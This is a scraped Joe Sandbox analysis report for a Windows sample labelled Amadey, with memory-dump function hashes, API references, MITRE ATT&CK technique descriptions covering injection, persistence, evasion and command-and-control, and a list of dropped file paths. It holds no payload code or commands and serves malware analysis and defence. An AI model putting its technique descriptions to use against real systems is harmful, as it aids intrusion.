Source File: 00000007.00000002.3026997878.00000000049B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 049B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_49b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7698e7408105a15ca1e5bb10ec4d5730e438665580ad0c6e551eee72e2a1f9d
Instruction ID: bbd53d59b56c9f83c199200987065a542d9b269efd18186913821673d34846f8
Opcode Fuzzy Hash: f7698e7408105a15ca1e5bb10ec4d5730e438665580ad0c6e551eee72e2a1f9d
Instruction Fuzzy Hash: 6AD05E1408D7C45ED31793A89515AB63F684F02304F0A85EFD4C68A457D2915454C791

Function 049B8530 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3026997878.00000000049B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 049B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_49b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32920961812adbd1c57071e45d4e95dc0215f73ea3e3aa9a97a188107649ea0a
Instruction ID: 883f213d567ea79904a8a43f3583ac047ef41c2f07c1f6750a2a1f3f1059e74f
Opcode Fuzzy Hash: 32920961812adbd1c57071e45d4e95dc0215f73ea3e3aa9a97a188107649ea0a
Instruction Fuzzy Hash: 18C04C7808CE4887D319A798661EBA87A5DAB54305F4840A9D14D4185797E164508AD1

Analysis Process: firefox.exePID: 8952, Parent PID: 2928COMMON

Execution Graph

Execution Coverage:	0.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	100%
Total number of Nodes:	6
Total number of Limit Nodes:	0

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 000002B9C2C447B2 Relevance: 26.1, APIs: 1, Strings: 10, Instructions: 6826nativeCOMMON

Download Yara Rule

APIs

NtQuerySystemInformation.NTDLL ref: 000002B9C2C44817

Strings

z, xrefs: 000002B9C2C4484B
#, xrefs: 000002B9C2C44842
>, xrefs: 000002B9C2C4561C
#, xrefs: 000002B9C2C458F1
4, xrefs: 000002B9C2C48899
A, xrefs: 000002B9C2C4480F
#, xrefs: 000002B9C2C42B85
>, xrefs: 000002B9C2C488BF
>, xrefs: 000002B9C2C44879
z, xrefs: 000002B9C2C45DF6

Memory Dump Source

Source File: 0000001A.00000002.3291535977.000002B9C2C42000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002B9C2C42000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_2b9c2c42000_firefox.jbxd

Similarity

API ID: InformationQuerySystem
String ID: #$#$#$4$>$>$>$A$z$z
API String ID: 3562636166-3072146587
Opcode ID: a7beeb6ed6d4bd1c13836e24e4a4bf8602c8d7752103ee20adf8d6ea9f6b849f
Instruction ID: a274789e67231bfb4abbbf1ad5fc2773f4f9a868205985c15cca2147f5780dcc
Opcode Fuzzy Hash: a7beeb6ed6d4bd1c13836e24e4a4bf8602c8d7752103ee20adf8d6ea9f6b849f
Instruction Fuzzy Hash: D8A3F631618A488BDB2DDF18CC856BA77E5FB98700F14426ED98BC7256DF34E9428BC1

Function 000002B9C2C25877 Relevance: 8.4, APIs: 1, Instructions: 6852nativeCOMMON

Download Yara Rule

APIs

NtQuerySystemInformation.NTDLL ref: 000002B9C2C2589C

Memory Dump Source

Source File: 0000001A.00000002.3291084350.000002B9C2C20000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002B9C2C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_2b9c2c20000_firefox.jbxd

Similarity

API ID: InformationQuerySystem
String ID:
API String ID: 3562636166-0
Opcode ID: a3d4a310f25344abd1978f5247c9d082b9ccbb3eaa73dfa71153365510a96fee
Instruction ID: fd0235e767c237dd6271872cf375621d7a2d4bcc58436770123e20abfa825296
Opcode Fuzzy Hash: a3d4a310f25344abd1978f5247c9d082b9ccbb3eaa73dfa71153365510a96fee
Instruction Fuzzy Hash: 72A30831654A488BDB2DDF28DC857A977E5FB59700F14426ED98BC3253DF30EA828B81

Function 000002B9C2C2D4C6 Relevance: .8, Instructions: 813
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000001A.00000002.3291084350.000002B9C2C2D000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002B9C2C2D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_2b9c2c2d000_firefox.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5776a74b6c0ce0224fa0a030b39c57582577c06c4e8dae3596a8b153e58fd48
Instruction ID: a33c4bf38b5d11b3ab617c0c18e6542d135f3a91333fc541dff8d37074d65bc9
Opcode Fuzzy Hash: e5776a74b6c0ce0224fa0a030b39c57582577c06c4e8dae3596a8b153e58fd48
Instruction Fuzzy Hash: 1421933150DB8C4FD745DF28C844B56BBE0FB5A314F1506AFE089C7292DB38D9498782

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Amadey

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\2836f5c5-acc0-4f09-9a22-73355d2dc1a0.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\6911009d-db47-49b0-8cb5-0e1cd7352796.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\431d2e9c-4967-4686-b91a-48f132291731.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-67429C35-1FEC.pma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\013fe445-27de-42b5-a47a-a334ac72eac0.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\02d2c881-7e3f-4487-ad6c-3c0db8a3f68d.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\14287614-3088-4146-9848-cff2ed487ea7.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\151107f8-04af-4f47-b3a9-c1b81e54c109.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\201c7026-74fe-4de4-b15f-022462f023e4.tmp

Windows Analysis Report
file.exe